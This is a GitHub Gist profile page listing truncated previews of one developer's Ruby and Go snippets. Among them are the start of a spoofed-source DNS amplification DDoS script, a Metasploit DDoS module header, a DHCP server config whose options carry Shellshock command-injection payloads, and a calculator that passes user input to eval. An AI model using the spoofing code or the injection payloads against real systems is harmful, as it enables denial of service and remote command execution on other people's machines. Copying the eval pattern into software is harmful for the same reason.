Skip to content

Instantly share code, notes, and snippets.

View hkparker's full-sized avatar

Hayden Parker hkparker

View GitHub Profile
@hkparker
hkparker / dnsdos.rb
Last active August 29, 2015 13:57
Reflected DNS amplified DDOS attack in ruby with packetfu
#!/usr/bin/env ruby
require 'rubygems'
require 'packetfu'
dns_query = PacketFu::UDPPacket.new
dns_query.ip_saddr = "10.0.2.15" # spoofed source address
dns_query.ip_daddr = "8.8.4.4" # DNS server to query
dns_query.udp_dst=53
dns_query.udp_src=rand(0xffff-1024) + 1024
@hkparker
hkparker / riemann_sum.rb
Created April 9, 2014 22:45
Simple Riemann sum calculator in ruby
#!/usr/bin/env ruby
def eval_function(function, x_value)
function.upcase!
function.gsub!(/X/, "#{x_value}")
return eval(function)
end
def riemann_sum(function, delta_x, lower_bound, upper_bound)
areas = []
@hkparker
hkparker / array_wrap.rb
Created April 24, 2014 22:25
Read values from a ruby array by wrapping around the array
class Array
def wrap(n)
tmp = self.shift(n)
self.replace(self+tmp)
return tmp
end
end
@hkparker
hkparker / hashcash.rb
Last active August 29, 2015 14:00
Simple demonstration of hashcash in ruby
#!/usr/bin/env ruby
require 'digest'
require 'securerandom'
difficulty = 6
message = "hello"
hash = "1"*difficulty
random_value = nil
@hkparker
hkparker / dnsdos.rb
Created July 29, 2014 21:57
DNS amplified DDoS Metasploit module
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Capture
@hkparker
hkparker / bitflip.rb
Last active August 29, 2015 14:04
Enumerate bitsquatted domains
#!/usr/bin/env ruby
require 'net/http'
require 'resolv'
def pad_with_zeros(string)
padded = string
until padded.length == 8
padded = "0" + padded
end
@hkparker
hkparker / isc-dhcpd-shellshock.conf
Created October 14, 2014 01:28
isc-dhcpd shellshock configuration file
option domain-name "() { foo;}; touch /pwn";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
option url code 114 = text;
option url "() { foo;}; touch /pwn";
# 114.to_s(16) => "72"
@hkparker
hkparker / strings.go
Created November 2, 2014 04:04
Memory safe strings
package main
import (
"os"
"io"
"log"
"fmt"
)
func is_ascii_byte(char byte) bool {
@hkparker
hkparker / part_of_speech.rb
Created December 8, 2014 23:23
Ruby script to determine part of speech of a word
#!/usr/bin/env ruby
require 'httpclient'
require 'nokogiri'
def part_of_speech(word)
parts_of_speech = []
client = HTTPClient.new
body = client.get("http://dictionary.reference.com/browse/#{word}?s=t").body
@hkparker
hkparker / quantumdetect.go
Last active August 29, 2015 14:16
Script to detect and log the NSA's QUANTUMINSERT attack
package main
//
// QUANTUMDETECT
//
// This script identifies two TCP packets that
// have identical source ip
// have identical source port
// have identical destination port
// have identical sequence numbers